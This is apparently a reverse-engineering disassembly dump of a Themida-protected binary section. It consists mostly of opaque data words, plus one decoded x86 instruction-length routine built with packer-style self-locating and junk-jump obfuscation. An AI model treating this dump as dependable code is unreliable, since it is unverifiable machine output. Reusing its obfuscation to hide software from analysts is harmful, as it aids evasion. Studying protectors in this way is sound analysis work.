6C210EFCh, 8E0FD20Ch dd 10h, 0BE9h, 191D100h, 8B2E75D9h, 0D8F9EEADh, 0A15F8168h dd 0F5250F4h, 689h, 0F525000h, 0F585A31h, 0BF666031h, 5E5602F0h dd 81585A61h, 8F742434h, 0E8601804h, 14h, 6ABEDBD0h, 2B70CCA7h dd 14E77DAh, 0F745EDF8h, 2994AC70h, 1820F5Fh, 0F9000000h dd 7DB5FF61h, 60093516h, 0C2BA6657h, 66565A9Eh, 5F165ABBh dd 70858D61h, 0F09387Bh, 1E8Eh, 188E0F00h, 0E9000000h dd 13h, 5EACB2E9h, 12140152h, 28957727h, 86A82B8Eh, 0FFD001F6h dd 5E9D0h, 45A80000h, 89553DC4h, 350EC185h, 55006A09h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 9D85C6BFh, 50093517h, 0B800Fh, 6E90000h, 20000000h dd 1CB91509h, 381A6846h, 850F7596h, 0Fh, 0AE9h, 88801D00h dd 0E0C55A16h, 81688E87h, 753C2404h, 0FFF83317h, 35167DB5h dd 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 8166607Fh, 8079FAD0h, 8D6113C0h, 387B7085h dd 7E909h, 0F0DB0000h, 39B10DB2h, 0E9D0FF07h, 10h, 0CDF2D875h dd 1C30983Bh, 5136DC2Fh, 580C3217h, 16158589h, 820F0935h dd 12h, 0DE9h, 0FB0D2C00h, 41CB3B16h, 6E5D3874h, 2F68F9FBh dd 50CB6ECDh, 61606052h, 0F61C18Bh, 8D0F6031h, 0 aAazxb4 db '`aaZX│4$',0 db 65h, 0E1h, 3Bh dd 8B66F860h, 13E961CBh, 97000000h, 81103F16h, 0B9E6F874h dd 87FB7C8Fh, 3E622A3h, 0B5FFB8F1h, 935167Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 9AC35646h, 2AE11BAFh dd 0F18B6660h, 61C6BF0Fh, 70858DFCh, 6A09387Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0F8F3C355h, 0FDA9E1Fh, 0C8Bh, 7E900h, 2A430000h, 0C2D9D453h dd 16860FB6h, 0E9000000h, 11h, 360164BFh, 260EBB6Ch, 0F81297AAh dd 65139864h, 0FD0FFEAh, 0D80h, 8E900h, 3AB40000h, 767DFCF8h dd 8589A598h, 93505D9h, 0DE9h, 0AF701000h, 0F2A8D791h dd 1EBCDC7Dh, 0C6F53D8Bh, 35179D85h, 820F5009h, 0Eh, 8F68160h dd 0F280DF3h, 8Fh, 4E86100h, 56000000h, 60979CDCh, 4780FEBFh dd 0CE8B662Bh, 13E95061h, 31000000h, 5DD2B47Bh, 211A2B30h dd 2758540h, 79E74E05h, 448B1DC6h, 52500424h, 0DBE6660h dd 8E8DCh, 1F210000h, 39654041h, 615F3413h, 10E9310Fh dd 54000000h, 2BB12FE7h, 9C8D9C55h, 0BB7F7805h, 5A9CCC93h dd 60008B58h, 8B661BB3h, 448961C8h, 810F0424h, 1Ch, 0BE95250h dd 37000000h, 89FED335h, 991FE9E5h, 310FB0D2h, 310F5250h dd 585A585Ah, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 311A5BABh, 547F0BFFh, 0D8C0Fh, 66600000h dd 0D487F181h, 8E0Fh, 0FF610000h, 350EC9B5h, 81666009h dd 0B809EDF2h, 5C036033h, 98858D61h, 0F093538h, 0C8Eh dd 0B8666000h, 880FB9D8h, 0 dd 6AD0FF61h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 56B9C355h, 7E9CB80h, 73000000h dd 656B5238h, 8589F8F2h, 9350061h, 0CE9h, 0D897B000h, 0C5BFD3A4h dd 0D10A6573h, 186E9CDh, 0AE90000h, 0AC000000h, 0AB6F729Bh dd 51AB9749h, 566095B2h, 0E950615Bh, 8, 0FD46D676h, 0ED62431Ah dd 56006A95h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 43AE5C79h, 0B12AE9D6h, 0EC8B3F58h, 28D3B860h dd 83615CB0h, 6AFCC4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0B595A2C3h, 533B3EFBh, 5E96057h dd 29000000h, 1B891C8Ah, 4A2C0BB9h, 0E9606108h, 14h, 0D107B5Dh dd 3CDD0F97h, 904D70DEh, 7D4D371Eh, 2DA7C15Dh, 0E8h, 0EA815A00h dd 93A8673h, 0FC45C7h, 83000000h, 350695BAh, 840F0109h dd 98h, 6A006A52h, 0C192FF0Fh, 5A09350Eh, 80998289h, 9A8D093Ah dd 93A809Dh, 2803C752h, 53000001h, 1592FF50h, 5A093516h dd 9D9A8D52h, 53093A80h, 8099B2FFh, 92FF093Ah, 9350061h dd 74C00B5Ah, 9D9A8D50h, 8D093A80h, 0C933247Bh, 104F981h dd 0D4740000h, 393C8141h, 4558452Eh, 348DEE75h, 0C752B39h dd 13F5BA8Dh, 4D8B0935h, 32A4F30Ch, 0FF52AAC0h, 828D0875h dd 93513F5h, 0D992FF50h, 5A093505h, 0A075C00Bh, 1FC45C7h dd 0EB000000h, 0FC45C707h, 0 dd 0FC458B61h, 8C2C9h, 0B8B0Fh, 6E90000h, 48000000h, 7DE47179h dd 38BB602Eh, 0E94BF94Eh, 7, 48BF2087h, 611EE687h, 66E9D28Bh dd 60000002h, 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 9350EC9h dd 7B70858Dh, 0D0FF0938h, 26958589h, 0FE8B0935h, 680CEFC1h dd 20060000h, 26A006Ah, 0D6857h, 95FF0001h, 9352695h, 32E9h dd 9D85C600h, 56093517h, 0C530DF68h, 7DB5FFA9h, 8D093516h dd 387B7085h, 89D0FF09h, 3526CD85h, 0D5858D09h, 50093531h dd 56A406Ah, 0CD95FF56h, 61093526h, 0C3h, 2 dup(0) dd 0D48B5200h, 8428B60h, 87D78589h, 428B093Ah, 0CF85890Ch dd 8B093A87h, 85891042h, 93A87D3h, 880DB58Dh, 858D093Ah dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 3A87D7B5h, 0CF858B09h dd 83093A87h, 3A87D3BDh, 840F0009h, 7, 2E90689h, 88000000h dd 0CF06h, 0 dd 8B520000h, 428B60D4h, 0D7858908h, 8D093A87h, 3A885EB5h dd 35858D09h, 0FF005B7Eh, 8B5A61D0h, 3A87D785h, 4C209h dd 87D7858Bh, 8B093Ah, 87D78589h, 0CF093Ah, 60000000h dd 8834B589h, 8589093Ah, 93A8830h, 29E9858Dh, 408B0935h dd 6D858944h, 8D093A88h, 3A88A3B5h, 35858D09h, 0FF005B7Eh dd 858B61D0h, 93A8834h, 309D8BC3h, 0F093A88h, 33C43B7h dd 785B8BD8h, 88309D03h, 738B093Ah, 30B50324h, 56093A88h dd 8B207B8Bh, 0BD031C73h, 93A8830h, 8830B503h, 83FC093Ah dd 8B41FFC9h, 3A88349Dh, 3178B09h, 3A883095h, 4C78309h dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh dd 386048Bh, 3A883085h, 34858909h, 8B093A88h, 8BCE8BF0h dd 6DBD81C1h, 93A88h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 93A886Dh dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 6DBD8100h dd 93A88h, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h dd 80h, 1E840Fh, 0BD810000h, 93A886Dh, 0C0300000h, 0E840Fh dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0DB858DCFh dd 89093A87h, 350EDD85h, 71858D09h, 89093A88h, 35261985h dd 38858D09h, 89093A88h, 351DC585h, 5E809h, 9A3F0000h dd 0E955CD3Ch, 0Eh, 5F2C6250h, 87073DAh, 2D7C89D7h, 0BE5A8657h dd 62BBD23Fh, 6058C281h, 0EF680000h, 60000017h, 0F51DBA66h dd 0F88B6660h, 0E95F6161h, 5, 0D262860Ch, 0B1028BABh, 20E8819Dh dd 0F485A90h, 0C081DABFh, 2BAFAC35h, 1DA6BE66h, 0EE56E881h dd 0F38B1165h, 0DE8A0289h, 9E83EA81h, 0B70F2438h, 7FC281CBh dd 8B24389Eh, 850F4FCBh, 0Dh, 1FE9EA8Ah, 63000000h, 4CD21D2Fh dd 6CCD8063h, 0FFFFB0E9h, 3B691FFh, 0FFA06581h, 3A2D71E0h dd 7907EF27h, 8D8DC1A6h, 93A8B35h, 6840Fh, 9D2B0000h, 9351B25h dd 16298D89h, 890F0935h, 6, 2325BD89h, 0B58B0935h, 9352EF5h dd 287D85C7h, 6B040935h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0CAFA38C3h, 5585C726h dd 93522h, 8B000000h, 352911B5h, 0F5B5FF09h, 6A093511h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0D55EC356h, 9D090EE2h, 9352895h, 0D0595FFh dd 820F0935h, 0Ch, 6860Fh, 880F0000h, 0 dd 95FF006Ah, 9350829h, 5CEBC08Bh, 1363D5B9h, 0EA76FF86h dd 29768C7Eh, 0C50BBD40h, 8BD7BA37h, 5A04FFE4h, 0DA047F3Bh dd 0D6F77B6Ah, 14ACF015h, 0C21AF25Fh, 6BDCB239h, 0D3C5DF3Fh dd 0EA5EF4CEh, 62DB9416h, 0C9E21ED5h, 89AD7C09h, 0DB2E454Ah dd 4D5C062Ch, 7A38CB44h, 0B3F0C21Bh, 827D309Fh, 0D1BAE18Bh dd 0C44CCD5Dh, 13E8h, 67CA4500h, 62EC2544h, 4756C630h dd 2C013A8Fh, 23B06384h, 21EA8166h, 8D315B13h, 93524B5h dd 67B9C381h, 8B600000h, 35025985h, 0B7686109h, 0BA000019h dd 71BD7BDBh, 8BD08B58h, 9EBE603Bh, 6001B0CDh, 8BDF8B66h dd 816161F0h, 45BC09F7h, 79B58935h, 81093524h, 38A511F7h dd 45B96611h, 0FFC78142h, 8B675933h, 350E7995h, 810F5709h dd 2, 38FCE8Bh, 324D8D23h, 0EB810935h, 660AC37Bh, 13E9h dd 0E8273D00h, 16D7F9Ah, 621E559Dh, 0C026D4BAh, 196ECBE2h dd 0C377C381h, 8E0F660Ah, 6, 0C3DB50Bh, 0F480935h, 1285h dd 2D8D8900h, 0E9093527h, 22h, 4B53415h, 0E9A79858h, 0Ch dd 56DE6A8Fh, 543FBA4Fh, 33CB7D5Bh, 0FFFF5EE9h, 39BC6DFFh dd 8D8D85E4h, 93A8D50h, 6E9h, 18B8D700h, 89797CD5h, 3516298Dh dd 5E809h, 888D0000h, 0F646A7Dh, 28Bh, 5FF98B00h, 287D85C7h dd 6CE00935h, 0BD2B0000h, 9351C4Dh, 6840Fh, 0BD8B0000h dd 93510DDh, 225585C7h, 935h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0BABA60C3h dd 6107A9D3h, 1239B5FFh, 6A0935h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 2D71BC3h, 0FD53499Fh dd 8B62C745h, 595FFC1h, 6A09350Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0D888C357h dd 0B8DE740Fh, 3D8523C9h, 6A093522h, 2995FF00h, 8B093508h dd 0B259EBC0h, 87D7C663h, 0C788571Fh, 4D7FBA8Fh, 0BC945135h dd 0BD5B9496h, 23400F64h, 9643EEF7h, 0C678281h, 0BD4FEF7Fh dd 0EE6784F0h, 0B0889AF3h, 0D7CC9CDEh, 0ECEC6F7Dh, 0AF7D97FBh dd 80E25FC4h, 94BDCBE7h, 0C86CFD38h, 0CA8D2A7Dh, 718B72BFh dd 3FF26266h, 38A766DCh, 3B931896h, 1C8E9h, 8 dup(41888800h) dd 4 dup(0) dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h dd 0 dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h dd 88888808h, 88h, 0 dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0 dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0) dd 100h, 14h dup(0) dd 6380C300h, 7577EDh, 100h, 11h dup(0) dd 353E900h, 0E8550000h, 0 aBajpEO db ']│М├▐:',9,'`г┘с▌:',9,0 align 4 dd 81660000h, 0FA1663Eh, 0F85h, 0D785C700h, 6093A8Eh, 0E9000000h dd 24h, 8EDB858Dh, 8D50093Ah, 3A8F2B85h, 6A565009h, 1DE800h dd 0C4830000h, 0FF2510h, 85890000h, 93A8ED7h, 0D7B50361h dd 8B093A8Eh, 3A8ED385h db 9, 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_5975E0 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_5975EC ; --------------------------------------------------------------------------- loc_5975E0: ; CODE XREF: Themida_:005975C9j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_5975EC: ; CODE XREF: Themida_:005975DBj push ebx push esi push edi loc_5975EF: ; CODE XREF: Themida_:00597644j ; Themida_:00597660j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_597602: ; CODE XREF: Themida_:00597629j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 93A903Dh lea ebp, [ebp+93A8EB3h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_59762F inc cl cmp cl, 0Bh jb loc_597602 loc_59762F: ; CODE XREF: Themida_:0059761Ej cmp cl, 0Bh jz loc_59768C cmp al, 66h jnz loc_59766D cmp byte ptr [ebp-5], 0 jnz loc_5975EF cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_597665 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_5975EF ; --------------------------------------------------------------------------- loc_597665: ; CODE XREF: Themida_:00597652j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_59766D: ; CODE XREF: Themida_:0059763Aj cmp al, 67h jnz loc_5975EF cmp byte ptr [ebp-6], 0 jnz loc_5975EF xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_5975EF ; --------------------------------------------------------------------------- loc_59768C: ; CODE XREF: Themida_:00597632j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5976B8 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5976BD ; --------------------------------------------------------------------------- loc_5976B8: ; CODE XREF: Themida_:00597697j movzx edi, al shr edi, 1 loc_5976BD: ; CODE XREF: Themida_:005976B3j push ebp call $+5 pop ebp sub ebp, 93A90F5h lea ebp, [ebp+93A8DB3h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_59783F mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_597783 dec ecx jz loc_597766 dec ecx jnz loc_5977D6 cmp byte ptr [ebp-2], 0 jnz loc_5977D2 cmp byte ptr [ebp-5], 0 jz loc_597745 mov byte ptr [ebp+0Bh], 2 loc_597745: ; CODE XREF: Themida_:0059773Bj add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 93A9181h mov dword ptr [ebp+93A8ED3h], 1 pop ebp jmp loc_5977D6 ; --------------------------------------------------------------------------- loc_597766: ; CODE XREF: Themida_:00597720j cmp byte ptr [ebp-2], 0 jnz loc_5977B0 cmp byte ptr [ebp-5], 0 jz loc_5977B0 mov byte ptr [ebp+0Bh], 2 jmp loc_5977B0 ; --------------------------------------------------------------------------- loc_597783: ; CODE XREF: Themida_:00597719j cmp byte ptr [ebp-2], 0 jnz loc_5977C9 cmp byte ptr [ebp-5], 0 jz loc_5977B8 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5977B0 mov [ebp+0Bh], cl loc_5977B0: ; CODE XREF: Themida_:0059776Aj ; Themida_:00597774j ... inc byte ptr [ebp+0Bh] jmp loc_5977D6 ; --------------------------------------------------------------------------- loc_5977B8: ; CODE XREF: Themida_:00597791j cmp dl, 5 jnz loc_5977D6 mov [ebp+0Bh], dl jmp loc_5977D6 ; --------------------------------------------------------------------------- loc_5977C9: ; CODE XREF: Themida_:00597787j cmp dl, 6 jnz loc_5977D6 loc_5977D2: ; CODE XREF: Themida_:00597731j mov byte ptr [ebp+0Bh], 3 loc_5977D6: ; CODE XREF: Themida_:00597727j ; Themida_:00597761j ... dec byte ptr [ebp+0Bh] jz loc_597804 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5977E6: ; CODE XREF: Themida_:005977FCj movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5977E6 mov esi, edx loc_597804: ; CODE XREF: Themida_:005977D9j and al, 0FEh cmp al, 0F6h jnz loc_597839 cmp edi, 7Fh ja loc_597839 test bl, 38h jnz loc_597839 cmp byte ptr [ebp-7], 0 jz loc_597833 movzx eax, byte ptr [ebp-4] jmp loc_597836 ; --------------------------------------------------------------------------- loc_597833: ; CODE XREF: Themida_:00597824j push 1 pop eax loc_597836: ; CODE XREF: Themida_:0059782Ej mov [ebp-1], al loc_597839: ; CODE XREF: Themida_:00597808j ; Themida_:00597811j ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_59783F: ; CODE XREF: Themida_:005976E9j mov al, bl and eax, 7 sub eax, 4 jz loc_59786A dec eax dec eax jz loc_597860 and bl, 7 add [ebp-1], bl jmp loc_597872 ; --------------------------------------------------------------------------- loc_597860: ; CODE XREF: Themida_:0059784Fj mov al, [ebp-3] add al, 6 jmp loc_59786F ; --------------------------------------------------------------------------- loc_59786A: ; CODE XREF: Themida_:00597847j mov al, [ebp-3] add al, 4 loc_59786F: ; CODE XREF: Themida_:00597865j add [ebp-1], al loc_597872: ; CODE XREF: Themida_:0059785Bj mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_59789A movzx ecx, byte ptr [ebp-1] inc ecx loc_597885: ; CODE XREF: Themida_:00597894j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_597885 loc_59789A: ; CODE XREF: Themida_:0059787Aj pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- aLNniuJ db '▀п██┬⌠:',9,'j',0 db 52h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0DD0F970Dh, 358D893Ch, 89093527h, 3516298Dh, 8D315709h dd 9352BBDh, 7D85C75Eh, 58093528h, 0C700005Ah, 35225585h dd 9, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 29F0B9F1h, 3530259Dh, 69B5FF09h dd 8009350Ah, 95FF4AE0h, 9350D05h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0C1C35343h, 0FD5F45C5h, 81660DF9h dd 0AD378CF0h, 6AF78B24h, 2995FF00h, 8B093508h, 2819EBC0h dd 0E6AA9F0Dh, 3380AE1Bh, 12AD67D9h, 0B6A0A626h, 0FB9A9C0Ch dd 7B281875h, 15CE9h, 0CF1F7300h, 0D74BE5F0h, 0C558A396h dd 0CE56320Ah, 0CD567C53h, 0C658D10Ah, 0ED71BE53h, 0BF241E3Ah dd 9F256B53h, 2B795DC4h, 0F8B68F60h, 89148E52h, 89151353h dd 89149D53h, 8914CA53h, 89146753h, 8914B353h, 8914F653h dd 8914EC53h, 89147E53h, 89143B53h, 0FA6DCE53h, 8979AB27h dd 0E6663773h, 0FA67D630h, 8914D90Eh, 8914EC53h, 89147653h dd 89143B53h, 89149D53h, 8914CE53h, 89146753h, 8914B353h dd 8914D953h, 8914EC53h, 89147653h, 89143B53h, 89149D53h dd 8914CE53h, 89146753h, 8914B353h, 8914D953h, 8914EC53h dd 89147653h, 89143B53h, 89149D53h, 8914CE53h, 89146753h dd 8914B353h, 8914D953h, 8914EC53h, 89147653h, 89143B53h dd 89149D53h, 8914CE53h, 89146753h, 8914B353h, 8914D953h dd 8914EC53h, 89147653h, 89143B53h, 89149D53h, 8914CE53h dd 89146753h, 8914B353h, 8914D953h, 8914EC53h, 89147653h dd 89143B53h, 89149D53h, 8914CE53h, 89146753h, 8914B353h dd 8914D953h, 8914EC53h, 89147653h, 89143B53h, 89149D53h dd 8914CE53h, 89146753h, 8914B353h, 8914D953h, 8914EC53h dd 89147653h, 89143B53h, 89149D53h, 5D5B2353h, 16BDE971h dd 0DD680000h, 0E9093A96h, 0FFFBB090h, 3A97D468h, 0B086E909h dd 9B68FFFBh, 0E9093A98h, 0FFFBB07Ch, 3A999168h, 0B072E909h dd 1768FFFBh, 0E9093A9Bh, 0FFFBB068h, 3A9C9368h, 0B05EE909h dd 0BF68FFFBh, 0E9093A9Dh, 0FFFBB054h, 3A9E5268h, 0B04AE909h dd 7B68FFFBh, 0E9093AA0h, 0FFFBB040h, 3AA15F68h, 0B036E909h dd 2D68FFFBh, 0E9093AA2h, 0FFFBB02Ch, 3AA2EB68h, 0B022E909h dd 5568FFFBh, 0E9093AA4h, 0FFFBB018h, 3AA9A368h, 0B00EE909h dd 8368FFFBh, 0E9093AAAh, 0FFFBB004h, 0ECB1A12Ch, 5647379Bh dd 0EDBEA029h, 5C413D92h, 0E5B6A42Bh, 0C50C600Fh, 57778895h dd 0C309F627h, 4375929Bh, 0ED1AFA23h, 88157E68h, 4AEDDCFh dd 435A1ACEh, 0C7D49440h, 6CED2FF8h, 9462F26Bh, 3A9BEC3Ah dd 0CF836D45h, 8C4D7710h, 14821444h, 34E139E3h, 811309F5h dd 0ACDDB2h, 428E3EB6h, 0A21F124Ch, 0CF83053Ch, 2458B726h dd 0F9B1727Fh, 2F66h, 1D0EEC00h, 7026567Eh, 0B199FE87h dd 7CACCF82h, 0B0EEF4A1h, 0CF03CF82h, 7E53908Fh, 95FA0D00h dd 0EB521406h, 0C38B38ACh, 0D15AF9B1h, 0A0000000h, 435A1ACEh dd 0A8D18940h, 0D5E777F4h, 46CF755Ch, 0C64E1FDCh, 44FFA97Fh dd 0C0A0144Fh, 4E2E9ACDh, 23FDB05Dh, 0FB0CC64Eh, 1276A9C9h dd 0C0A0141Fh, 0B10AC0B7h, 0FFB2641Ah, 0FB7B6D9Ah, 7BF55E0Eh dd 1CD12683h, 2CBE597Ah, 9B89360h, 424A9196h, 9984435h dd 39F50B24h, 964BCA79h, 0BDCF832Eh, 3247426Bh, 832951D3h dd 0DF1602CFh, 0F3C073EBh, 72D32424h, 0D8BADDA4h, 272069BFh dd 1FCDBAA0h, 0ED9A4860h, 0FD645FA9h, 6B93CB02h, 7563163Eh dd 493210EBh, 0F1000014h, 8C7BA0DEh, 0FA051646h, 7F80ADD1h dd 0FC0B104Eh, 0FC78A5D5h, 0A8D6FD51h, 0A4A8483h, 6EEEE621h dd 0D696423Dh, 3B9AC7C5h, 0CF8816A9h, 0CE59E1AAh, 39465707h dd 34BEEF8Fh, 0EA1F1D0Eh, 82B0EE6Bh, 0E61305CFh, 70F0E4D3h dd 988A0B9Dh, 0BBCF82B0h, 0CCB01A6Dh, 0EDF3A2F5h, 75CF82B0h dd 0AC538B0Ah, 2BF9B1C3h, 0ECE15A81h, 0C57C381Ch, 0BEC6h dd 0DB119B00h, 0AA5B4BFFh, 0CE06A093h, 97DD1E1Ah, 3A04B1Bh dd 0D9BDBF4h, 95C50BFCh, 2CC0A99Eh, 612E9EAEh, 7300B37Ah dd 92FF1E5Ch, 0C64E4957h, 0F3B8B82Ch, 4D402094h, 829E901Ch dd 0ECB57886h, 3B41AAD5h, 0EB93394Eh, 0BBE86DD8h, 1ACF82C3h dd 0C70EF90Eh, 0AB59C97h, 9982DF21h, 4B0745F8h, 0DA29ACDDh dd 19D8BA8Eh, 7B90A793h, 3BE2BD0h, 4E394EDAh, 0B9C6D787h dd 0FB206C12h, 0A6756347h, 1352EFD3h, 0D7FA0000h, 418976A7h dd 0DAEF101Dh, 478877A4h, 0D2F90617h, 5AF57FACh, 9E8FCF06h dd 2CF16D61h, 9885F5DBh, 30FD7D67h, 9092F3DCh, 0C3CF8817h dd 7CE3EB8h, 8F394657h, 0CE34BEEFh, 0E8011E1Ah, 5D0029F7h dd 258FD4CBh, 0A2275845h, 0B321CBBCh, 0F3F15336h, 8681D6EDh dd 37E51252h, 0DDC71503h, 733A090Ch, 66B578A4h, 11281166h dd 4DC232B4h, 3CF721C6h, 82D9FCBDh, 0BF998FCFh, 0D06C956h dd 7B816AC7h, 452078Eh, 0B761CE42h, 0C0FCEBD8h, 0E262B862h dd 25ABDA8Ch, 58CE5A35h, 0A62F1A2Fh, 0BDD7C33Ch, 0DB3A091Fh dd 0C7103EB5h, 4A3D4ADEh, 0B4CDDE9Eh, 3E5111C3h, 786CD7EAh dd 258114F8h, 95688BD3h, 128BB1h, 0DA983300h, 601CB6D1h dd 0D7874C3Bh, 6A14B9C6h, 0CF8F4641h, 237716DEh, 827DAEACh dd 0FC0B104Ch, 8877A4D4h, 0FD0F1C5Ch, 186F71D4h, 97E4CF88h dd 5A1ACE1Fh, 0CE374243h, 0C64D8054h, 392E28A5h, 40A7D4EFh dd 4DC64F38h, 70CF8283h, 0A196F3B8h, 0CC583737h, 6197971Eh dd 863D2285h, 70AFCFF9h, 1F018475h, 0D2CF8336h, 40D881FDh dd 36D54671h, 67C1DC98h, 0AA3DC8B1h, 59D8BDC9h, 0A6FBE570h dd 9500C65Ch, 0C65CA68Bh, 998F58D0h, 0E029FFAAh, 0B07DFDE7h dd 0F405654Fh, 0A6A68005h, 63B5C65Ch, 0DF48FB50h, 6225B0D9h dd 0F1CF973Ah, 5EE7D227h, 0CF833584h, 0CD3841D7h, 0CF833553h dd 18211008h, 0C4B5B51Fh, 3F5E1CB3h, 433B92E5h, 0A409B84Ch dd 4785265h, 0D696422Dh, 1D1B0CB7h, 0FEEADDECh, 2E059F7Eh dd 0B840AECFh, 236BBDD8h, 7561A3C8h, 9528BEE1h, 3D000011h dd 0C8B7E492h, 36515A02h, 0CBBCE19Dh, 38475402h, 38C4E991h dd 0DC82499Dh, 5E1EB0CFh, 0E29A324Dh, 5A1ACEB9h, 0AF164351h dd 0CF881935h, 0CEDD5526h, 0D34DB807h, 88C64D80h, 2A150690h dd 47CEBBC1h, 0CF82AA2Eh, 0BFC4DB4Dh, 0DC1B615h, 29EA3E51h dd 0CF82A9B7h, 31A2509Ch, 0B361C902h, 9DEAB365h, 0AE3E4B2Bh dd 2B53FA85h, 8B00B317h, 9FAA4F98h, 82FDAC36h, 1C79AFCFh dd 0CF82FE0Ah, 0E6963E49h, 5DCB5DA7h, 0C5B51B2Ch, 8D0283EEh dd 0A8D8B82Ch, 13728770h, 0C64DD411h, 0D38163E2h, 46D2C64Dh dd 0D7AC8791h, 1EB5C2C3h, 0E8DB2D60h, 0D0E7B4E3h, 0B8C37EFEh dd 803F6C0Ch, 51689197h, 0D403DD68h, 0C058C64Dh, 0FD6314F1h dd 2512CF82h, 0D702B1ADh, 0C4413841h, 0CF82FA62h, 370C27F1h dd 0C5D8984Ch, 6D615623h, 0B78A1EF1h, 0A576C554h, 42F352A7h dd 31D8B824h, 0BED18D46h, 0DA4E576Ah, 6202B6D1h, 0E358C62Bh dd 56B9C64Dh, 0E08034C7h, 5818CCBBh, 93998245h, 0C576DF66h dd 9385CF82h, 778E0D8Ah, 0FBC207B0h, 1276A9C9h, 60E51284h dd 0D8BD5655h, 0A3D274A4h, 0F0D92E2Ch, 5D517B65h, 7948E0C6h dd 51716F26h, 57C0C65Dh, 0F29D2851h dd 21CF97E4h, 0C233AD18h, 3DC8CF82h, 0CF82C2E3h, 61B7A078h dd 56954752h, 0FB7B53C7h, 0E4A6BE71h, 86324532h, 1ECAB5E6h dd 8D443F5Eh, 8678C1CDh, 56297C54h, 100F70h, 6614B700h dd 0DC804A35h, 631BB0CFh, 0D6804D3Ah, 6B13BAC5h, 0C71BBA42h dd 36515A00h, 0B0CFDC98h, 4C3B6018h, 